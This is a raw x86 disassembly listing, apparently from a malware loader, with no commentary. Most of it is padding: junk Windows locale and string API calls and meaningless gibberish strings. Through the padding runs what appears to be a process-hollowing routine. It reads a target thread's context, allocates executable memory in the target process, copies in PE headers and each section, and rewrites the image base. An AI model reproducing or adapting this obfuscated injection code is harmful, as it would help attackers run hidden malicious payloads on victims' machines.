rep movsd dword es:[edi], dword [esi]
push str.Uneuraligo
movsw word es:[edi], word [esi]
push str._s_Wiuexebvt_Q
lea eax, [ebp - 0x82c]
push 0x7a
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x10
push 0xe
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
mov ecx, 8
mov esi, str.Sayuaoeuoiqesoi
lea edi, [ebp - 0x3f8]
push 0x10
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x3f8]
push ecx
push 1
push 0x800
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov eax, dword [ebp - 0x7b8c]
mov ecx, dword [eax + 0xa4]
push 0
push 4
lea edx, [ebp - 0x7ba0]
push edx
mov edx, dword [ebp - 0x7b9c]
add ecx, 8
push ecx
push edx
call dword [0x6e99cc]
mov edi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, 3
jmp 0x4088e0
push 0xfffffffffffffff5
call edi
dec esi
mov dword [0x6e9a04], eax
jne 0x4088e0
push str.Broaoikpj
push 0x420a04
push 0x3ecc
mov ecx, 0xa
mov esi, str.Sbckieoleaeeeouazasuraoufteaqajeiifufbve
lea edi, [ebp - 0x6c8]
rep movsd dword es:[edi], dword [esi]
push str.Euelkidune
push str.Gmuesads
push str.Kduieoyao
push str.Ze__s_Aioike_Oyuxoaple__s_Hrsifik_Gyoziovei__s_Tceaqai_Wicjf__d_Qoaoi_Iiiv_Uiobd__s_Tmuaw__s_Keeuce
lea eax, [ebp - 0x6c8]
push 0x28
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
push str.Yufiiuhxo
push 0xf3f6
xor ecx, ecx
push 0x420968
mov dword [ebp - 0x13], ecx
push str._s_Wokh_Hoaj_Xiojnu__d_Jeer__s_Ziif_Lfs
mov dword [ebp - 0xf], ecx
lea edx, [ebp - 0x14]
mov word [ebp - 0xb], cx
push 0xb
push edx
mov byte [ebp - 0x14], 0
mov byte [ebp - 9], cl
call fcn.0040db84
add esp, 0x3c
mov ebx, 5
lea ebx, [ebx]
push 0xb93b
push str.Pexe
push str._s_Vemoc_Hauimeair__d_Ygouluqvou
lea eax, [ebp - 0x2d8]
push 0x7b
mov ecx, 0x1f
mov esi, str.Puufyibaicjeaativafsjokafueixadrucauloajjitzdeuospiuouqneucexhoovocoiehaoaoubouapisuyicojenuanlupeoucorznagiuooetabooubebka
lea edi, [ebp - 0x2d8]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040db84
add esp, 0x14
dec ebx
jne 0x408970
push 0x10
mov ecx, 8
mov esi, str.Uuiayitouajewze
lea edi, [ebp - 0x78]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x78]
push ecx
push 0x14
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
push 1
push 0x800
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov eax, dword [ebp - 0x7b80]
mov edx, dword [ebp - 0x7ba0]
mov ecx, dword [eax + 0x34]
add eax, 0x34
cmp edx, ecx
jne 0x408b80
xor eax, eax
mov word [ebp - 0x3fac], 0
mov ecx, 0x238
lea edi, [ebp - 0x3faa]
push 0x471
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3fac]
push eax
push 0xc
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ecx, 0x16
mov esi, str.Zouivuyokenapaodjiztyuwuoauxkiobuwqiyauouueojuoouaafbuluzioahgeinuyneqtiyeipyerniupogogz
lea edi, [ebp - 0x5fc]
rep movsd dword es:[edi], dword [esi]
push str.Pbgofulwe
push 0x3f53
push 0x89e7
push str._d_E_Tioeva__d_Goexgex__s_C_Gml
lea ecx, [ebp - 0x5fc]
push 0x58
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x18
mov esi, 2
jmp 0x408a60
push 0x7dcf
push str.Zleuo
push 0xa7b3
push 0x4207dc
push str.Ziave
push str._s_R__s_Zazoyede__d_Sauyoebeun_Ayona__s_Mouo_Syaesid__d_Kdovj_Z
lea edx, [ebp - 0x124]
xor eax, eax
push 0x54
mov byte [ebp - 0x124], 0
mov ecx, 0x15
lea edi, [ebp - 0x123]
push edx
rep stosd dword es:[edi], eax
call fcn.0040db84
add esp, 0x20
dec esi
jne 0x408a60
mov ebx, 4
lea ecx, [ecx]
push str.Uloii
push str.Qiouq
push str._s_Jegudaie__s_Acvi_Kafoxumga
lea eax, [ebp - 0x158]
push 0x23
mov ecx, 9
mov esi, str.Ixuuyutimunekaebkaezooyaznvixunazeg
lea edi, [ebp - 0x158]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040db84
add esp, 0x14
dec ebx
jne 0x408ab0
mov esi, 3
lea ebx, [ebx]
push 0x141
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x408b69
mov edi, edx
mov ecx, 0x1a
mov eax, 0xbabababa
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, edx
mov ecx, 0x5050505
mov dword [eax], ecx
mov byte [eax + 4], cl
mov edi, edx
mov ecx, 9
mov eax, 0xcacacaca
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x22
mov eax, 0xb4b4b4b4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x4a
mov eax, 0xf9f9f9f9
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x22
mov eax, 0xd6d6d6d6
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x408af0
mov ecx, dword [ebp - 0x7ba0]
mov edx, dword [ebp - 0x7b9c]
push ecx
push edx
call dword [0x6e995c]
mov ecx, 6
mov esi, str.Hfenhibiuareyuavmerusolot
lea edi, [ebp - 0x258]
rep movsd dword es:[edi], dword [esi]
push 0x1d6b
push 0x73cf
push str._d_Pa__d_Dmiaiak_Heoeveneom
lea eax, [ebp - 0x258]
push 0x19
push eax
movsw word es:[edi], word [esi]
call fcn.0040db84
mov ebx, dword [sym.imp.KERNEL32.dll_GetDateFormatA]
add esp, 0x14
xor eax, eax
push 0x129
mov byte [ebp - 0xdf8], 0
mov ecx, 0x4a
lea edi, [ebp - 0xdf7]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0xdf8]
push ecx
push eax
push eax
push 2
push 0x800
call ebx
mov ecx, 0xd
mov esi, str.Siievumiimletdaeiowiiakutxcitizvqudexouiiupohbaozeedzo
lea edi, [ebp - 0x8bc]
rep movsd dword es:[edi], dword [esi]
push 0x74b3
movsw word es:[edi], word [esi]
push str.Lovmboc__d_Mgswbixi
lea edx, [ebp - 0x8bc]
push 0x36
push edx
mov dword [0x6e9a24], eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x10
push 0x12c
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
push 0
lea eax, [ebp - 0x36c8]
push eax
push 0
mov ecx, 0xf9
mov esi, str.Zwajyijuuajupaawkodyictieoiejouaeyioblouhilakadebuuifolunawaiiuwmefewowuxxivxeymaunupuoitoboiliursideoprmedikeugqunampsucowoyascoisufuweoegyukbuoiuuredoeyzogupihigqihiuaolovawaeooewiiujooeocmopztaoerixhkoaycluiltenoajemiiogaiiziqkhenaoeouwekroigiiovakapiyiyukigefaruaaninolllevuwebawtmaaatuimyugyepbuwiuesebijauurziorertunbajzjoyuxuuqyukfoaqeqewociyuhazoyibskapcambiblexlaqouagewuuimibeueeaaudeeamiinpoiujxnonvuufucosahejjoohouuiffurbiqaiaiuupeeooewumreframujuxivzugwokeeeookewioewumetioitemohzvtv
lea edi, [ebp - 0x36c8]
push 0x800
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
mov dword [0x6e9a24], eax
mov byte [ebp - 0x1204], 0
xor eax, eax
push 0xd4
mov ecx, 0x34
lea edi, [ebp - 0x1203]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x1204]
push ecx
push 0
push 0
stosw word es:[edi], ax
push 2
push 0x800
stosb byte es:[edi], al
call ebx
mov ebx, 2
lea ebx, [ebx]
push 0x3744
mov ecx, 0x20
mov esi, str.Whwycioaxvlidcevhuokuzjojuepweuipugekmaajecaaowaovzagefvyxnesphf
lea edi, [ebp - 0x2dc]
rep movsd dword es:[edi], dword [esi]
push 0xb77c
push 0xc390
push 0xa0b4
push str.Uo__d_Wi__d_Iaikkaiuxo__d_Jeqhpod__d_Ielox
lea edx, [ebp - 0x2dc]
push 0x40
push edx
movsw word es:[edi], word [esi]
call fcn.0040d97b
add esp, 0x1c
dec ebx
jne 0x408c90
xor eax, eax
mov byte [ebp - 0x2f24], 0
mov ecx, 0x16e
lea edi, [ebp - 0x2f23]
rep stosd dword es:[edi], eax
push 0x5ba
stosb byte es:[edi], al
lea eax, [ebp - 0x2f24]
push eax
push 0xc
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov eax, dword [ebp - 0x7b80]
mov ecx, dword [eax + 0x50]
mov edx, dword [eax + 0x34]
push 0x40
push 0x3000
add eax, 0x34
mov eax, dword [ebp - 0x7b9c]
push ecx
push edx
push eax
call dword [0x6e99a0]
push 0x5f
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
mov dword [ebp - 0x7b84], eax
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
mov ebx, 6
jmp 0x408d50
push 0x395a
push 0x6668
push 0x1862
push str.Bioeue
push 0x4201bc
mov ecx, 9
mov esi, str.Wieilaneeuyujomkqosaargeztoioejfaih
lea edi, [ebp - 0x158]
push str._s_Geifjuialx__s_Eaaulilu_P__d_Qx_Weisuup__d_Qpidhiiai__d_Plillisx_Mheal
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x158]
push 0x23
push ecx
call fcn.0040db84
add esp, 0x20
dec ebx
jne 0x408d50
push 0x78a
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x408de0
mov edi, edx
mov ecx, 0x19b
mov eax, 0x67676767
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x58
mov eax, 0x46464646
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0xdd
mov eax, 0xb9b9b9b9
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0x3cf0
mov ecx, 0xc
mov esi, str.Wxaovilaeolehudrgoaguijicsroladmrihivuhpuoqirhvab
lea edi, [ebp - 0x37c]
rep movsd dword es:[edi], dword [esi]
push 0xcfcf
push str.Siziue
push 0x5fd3
push str._d_Iipof__s_Gjuejewwla__d_Smpkoemojs__d_Pbgycouuak
lea edx, [ebp - 0x37c]
push 0x31
push edx
movsw word es:[edi], word [esi]
call fcn.0040db84
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
add esp, 0x1c
mov esi, 3
lea esp, [esp]
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
push 0x109
call edi
dec esi
jne 0x408e30
push str.Uhkobofda
push str._s_To_Ksiebipi
lea eax, [ebp - 0x10b8]
push 0x6f
mov ecx, 0x1c
mov esi, str.Veyzdeieieiikaeekeyuzwmohoajairzuaqibubrkeiohodealvapeqxoageitcgliwaejjuofuniiseipqeyuoebeucianebwbqguhjaerohvi
lea edi, [ebp - 0x10b8]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040db84
mov ecx, 7
mov esi, str.Hzkjeistgfeeyetdnunadeqiypmv
lea edi, [ebp - 0x3b8]
rep movsd dword es:[edi], dword [esi]
push str.Zuoiga
push str.Xjuu
push str.Reaeq__s_Remrc__s_U
lea ecx, [ebp - 0x3b8]
push 0x1c
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x24
mov esi, 3
push 0x854b
mov byte [ebp - 0x18c], 0
xor eax, eax
push 0x6dd5
mov ecx, 0xc
lea edi, [ebp - 0x18b]
rep stosd dword es:[edi], eax
push 0x3084
push 0xa940
push str.Joeepunefv__d_Joeep_Eioq__d_Aao__d_C__d_Gusoroeai
stosw word es:[edi], ax
lea edx, [ebp - 0x18c]
push 0x33
push edx
stosb byte es:[edi], al
call fcn.0040db84
add esp, 0x1c
dec esi
jne 0x408ea1
push 0x2c5
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x408f32
mov edi, edx
mov ecx, 0x5b
mov eax, 0xdbdbdbdb
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x64
mov eax, 0x48484848
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x83
mov eax, 0xdcdcdcdc
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
mov ebx, dword [ebp - 0x7b84]
test ebx, ebx
je 0x409d21
mov ecx, 6
mov esi, str.Luuiwemmfeaihokouamilaeife
lea edi, [ebp - 0x150]
rep movsd dword es:[edi], dword [esi]
push 0xab62
push 0x9446
movsw word es:[edi], word [esi]
push str._d_Xeaaqozo__d_J_Webj
lea eax, [ebp - 0x150]
push 0x1a
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x80d6
push str.Eizevuezi
push str.Xsuo
push 0xbe17
push 0xd9df
push str.Zcbininoyo
mov ecx, 0x14
mov esi, str.Iepoqusdaylebnohgatsuxcokkuenuteeieehouvsuzahijeqpsunioresgevwugniueqwwuzuiizih
lea edi, [ebp - 0x11c]
push str._s_Rdhvzapomx_Euqjri__d_Jneasix__d_Lwiuweo__s_Baoom__s_Volt__d_Ceoz_Hoeidonug
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x11c]
push 0x4f
push ecx
mov dword [0x6e9a00], eax
call fcn.0040db84
push 0xc0f5
push 0xb67b
push 0x8157
push str._d_Ar_Faauge__d_Upeoli_Cieupociu__d_Cunucu_Aaabtavao
lea edx, [ebp - 0x1c4]
push 0x33
mov ecx, 0xd
mov esi, str.Eejipahheozataiecohduerarkubjagirueavieoausnenkukce
lea edi, [ebp - 0x1c4]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.0040db84
push 0x36f
call fcn.0040db03
mov edx, eax
add esp, 0x40
test edx, edx
je 0x409022
mov edi, edx
mov ecx, 0x4f
mov eax, 0x1a1a1a1a
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 2
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x7b80]
mov ecx, dword [eax + 0x54]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x7b9c]
push 0
push ecx
push edx
push ebx
push eax
call dword [0x6e99d8]
mov dword [ebp - 0x7b88], 4
jmp 0x409060
mov ebx, 4
jmp 0x409070
mov ecx, 0x58
mov esi, str.Xaoalocaeycilsrwzonuawtureooyupmukjaaauinamaeuvohawtkouklunurearbionlbsoxqinzoaatatajeouzioiexfejcoxtuqaiodawearveqafovuvuvxhioqiixozdauyaaebikujaxeyepfaigeeuaeweoimomeiiuoiumofayusiuesotnuoqazazireqioovekdhioioexupadqbmkakiiiwiwjeiualtaeduaajouageoapumhecruoaioxolujotogaiuuefoeirilusiausdpegusnurbeatuuaedyuapelnuolowqaigijigpkiwxvptitosowawuvecieabdp
lea edi, [ebp - 0x1368]
rep movsd dword es:[edi], dword [esi]
push 0x9b
lea ecx, [ebp - 0x1368]
push ecx
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
dec ebx
jne 0x409070
dec dword [ebp - 0x7b88]
jne 0x409060
mov ecx, 0xaa
mov esi, str.Oelocetihedacdeefazoetruxnxeyuzkosculofuwekoaegatlcmwoqearvevauuoipoowraoezzkiuaqiooosohiibyuejoxolzfakfoelufeptgufgiiouhuavzoaenggugeaukoasmtnipmiqtexibuyebfuopodyooeovuavlulqfdqohjaopoeiiizufkioqojqiueoyogeeoclhenoiiwwiavaabfafeazdeuaeeretazeyeyvouvowianzakaapnezihafaqioaaetiuxlewueigubpkoeimukecudeioratigrqagqywnavanxfalzaifanuqcsuteii
lea edi, [ebp - 0x1ebc]
rep movsd dword es:[edi], dword [esi]
push 0x67
lea edx, [ebp - 0x1ebc]
push edx
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
mov dword [0x6e9a08], eax
xor eax, eax
xor ebx, ebx
mov word [ebp - 0x6e58], bx
mov ecx, 0x25b
lea edi, [ebp - 0x6e56]
rep stosd dword es:[edi], eax
push 0x4b8
stosw word es:[edi], ax
lea eax, [ebp - 0x6e58]
push eax
push 0xc
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ecx, 0x11
mov esi, str.Qusuquuoopliukknlabedajiseaezaouposocubppoisiipueroovolpeqrajuoidecay
lea edi, [ebp - 0x114]
rep movsd dword es:[edi], dword [esi]
push 0xaea3
push 0x960
push 0x45ba
push str._d_Kuqffu_Caaff__d_Tlxopem_Wdaulemyr__d_Uyiax
lea ecx, [ebp - 0x114]
push 0x45
push ecx
movsw word es:[edi], word [esi]
call fcn.0040db84
push 0x3f3
call fcn.0040db03
mov edx, eax
add esp, 0x1c
cmp edx, ebx
je 0x40917d
mov edi, edx
mov ecx, 0xe8
mov eax, 0x45454545
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xda
mov eax, 0x3030303
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x22
mov eax, 0x46464646
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
mov byte [ebp - 0x18d4], 0
xor eax, eax
mov ecx, 0x43
lea edi, [ebp - 0x18d3]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x18d4]
push edx
push 0x10e
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [0x6e9a18], eax
mov esi, 4
push 0xcb91
push 0x78b4
push str.Deod
push 0xb565
push 0xee74
push 0x721f
xor eax, eax
mov word [ebp - 0x590], bx
mov ecx, 0x26
lea edi, [ebp - 0x58e]
push str._d_Npxui_J__d_Webogeqiuz_Ale__d_Si__s_Btoehak__d_Jqi_Xu__d_P_G
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x590]
push 0x4c
push eax
call fcn.0040d97b
add esp, 0x24
dec esi
jne 0x4091b0
mov ecx, 0x17
mov esi, str.Dfpicocijaxuboeejiruialejesiaoboeeaojdiaboizerbecuyohekmbarumxivciucguuipmyoyeoaoxzusiubviwoli
lea edi, [ebp - 0x4cc]
rep movsd dword es:[edi], dword [esi]
push str.Juacj
push 0x41f90c
push 0xf4b3
push str.Uuhiauc
push 0x67f
movsw word es:[edi], word [esi]
push str._d_Zaaiyooui_Meiooizoaq__s_Ny__d_Oeaucol_Tjaip__s_Bh_S__s_Bue_Ydy_Duauxih
lea ecx, [ebp - 0x4cc]
push 0x5e
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
mov edx, dword [ebp - 0x7b80]
add esp, 0x20
xor esi, esi
cmp word [edx + 6], bx
jbe 0x40929f
mov ebx, dword [ebp + 0xc]
xor edi, edi
mov eax, dword [ebx + 0x3c]
add eax, edi
mov ecx, dword [eax + ebx + 0x108]
mov edx, dword [eax + ebx + 0x10c]
lea eax, [eax + ebx + 0xf8]
mov eax, dword [eax + 0xc]
push 0
push ecx
mov ecx, dword [ebp - 0x7b9c]
add edx, ebx
push edx
add eax, dword [ebp - 0x7b84]
push eax
push ecx
call dword [0x6e99d8]
mov edx, dword [ebp - 0x7b80]
movzx eax, word [edx + 6]
inc esi
add edi, 0x28
cmp esi, eax
jl 0x409254
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor eax, eax
mov word [ebp - 0x64e8], bx
mov ecx, 0x257
lea edi, [ebp - 0x64e6]
push 0x4af
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x64e8]
push ecx
push 0xc
push 0x800
call esi
push 0x18e
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push ebx
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
push ebx
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
push str.Uaaekud
push 0xef65
push str.Uoalve
push str.Uapkraoei__s_Zuepliemi_P__d_Heaadelc__s_Fer_Dokonuiiis
mov dword [0x6e9a24], eax
lea edx, [ebp - 0x5a0]
xor eax, eax
push 0x54
mov word [ebp - 0x5a0], bx
mov ecx, 0x2a
lea edi, [ebp - 0x59e]
push edx
rep stosd dword es:[edi], eax
call fcn.0040d97b
push 0x5a6
call fcn.0040db03
mov edx, eax
add esp, 0x1c
cmp edx, ebx
je 0x409355
mov edi, edx
mov ecx, 0x57
mov eax, 0x76767676
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push str.Weeayix
push str.Pieux
xor eax, eax
mov word [ebp - 0x17c4], bx
mov ecx, 0x3b
lea edi, [ebp - 0x17c2]
push str._s_W__s_Qjauniioa_Hdeb_Yeseuunuo
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x17c4]
push 0x76
push eax
call fcn.0040d97b
mov edx, dword [0x41f7bc]
mov ecx, dword [str.Lyeiguspuujiswn]
mov eax, dword [0x41f7c0]
add esp, 0x14
push 0xd
push str.Roucfokaovnoseeuveiuegteooiuwabegolavatkwiiusudizoikyiuuonhobruazozeoabauefebiwadjsukoeawifwuonafaealoqueawoxsuacaxolanue
push 0x10
mov dword [ebp - 0x50], edx
lea edx, [ebp - 0x54]
push edx
mov dword [ebp - 0x54], ecx
mov ecx, dword [0x41f7c4]
push 1
push 0x800
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], ecx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
mov dword [0x6e9a24], eax
xor eax, eax
push 0xd9b3
mov byte [ebp - 0x660], 0
mov ecx, 0xe
lea edi, [ebp - 0x65f]
rep stosd dword es:[edi], eax
push 0x41f7b4
push str.Cuods
push str._s_Ismuoofui__s_Tvyirudaa__d_Thaubey_Uensuumdu
stosb byte es:[edi], al
lea eax, [ebp - 0x660]
push 0x39
push eax
call fcn.0040db84
add esp, 0x18
push 0x30
push str.Jwoqcaoeakoiueimseidcobedueeeeeoipqiwcpzmepuuopupukiredelibesjjjnuyeelwakzoofujcxiqovdaumugefakuxuoacaxgquyidojmzahmoaquknpfcuguibgorioaqozibaaalfcxuioiaboajkeemuiapufutvowiiaapvnuoeeozixvdobivaejeouiepviyooemeeeuoxereviiajkouriepatuisviamabiielejsmlaiuoaajabebojisefpoaifieyuhqoudalalgjaepeubulooibaiauwfemaaqfiuuomzicjbefeepmxmanecujidavowuycuhtikuuooacokebigooeuuiumrtoboussuamaodiiutunutrunniziabzeyeouhueeuulazdoixaticeziyaiklumiiuwasriojiriiiuijeuepabueieojpuxwudzymguhternoweuoouzijaxaeivanefaucsomsnunapeioiebecinetxvuziffoahifujoxafkotmurwwejuxaxooonufejozeeepueiohsatomaxi
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push 0x772
call fcn.0040db03
mov edx, eax
add esp, 4
cmp edx, ebx
je 0x409443
mov edi, edx
mov ecx, 0x1ba
mov eax, 0x6d6d6d6d
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
xor eax, eax
mov word [ebp - 0x3f9c], bx
mov ecx, 0x234
lea edi, [ebp - 0x3f9a]
push 0x469
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x3f9c]
push ecx
push 0xc
push 0x800
call esi
mov esi, 8
push 0x54d
call fcn.0040db03
mov edx, eax
add esp, 4
cmp edx, ebx
je 0x4094bf
mov edi, edx
mov ecx, 0x23
mov eax, 0xeeeeeeee
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x5b
mov eax, 0xdadadada
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xd2
mov eax, 0xfafafafa
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x409473
mov eax, dword [ebp - 0x7b80]
mov ebx, dword [ebp - 0x7b8c]
mov edx, dword [ebx + 0xa4]
push 0
push 4
add eax, 0x34
push eax
mov eax, dword [ebp - 0x7b9c]
add edx, 8
push edx
push eax
call dword [0x6e99d8]
push 0x44e
call fcn.0040db03
mov edx, eax
add esp, 4
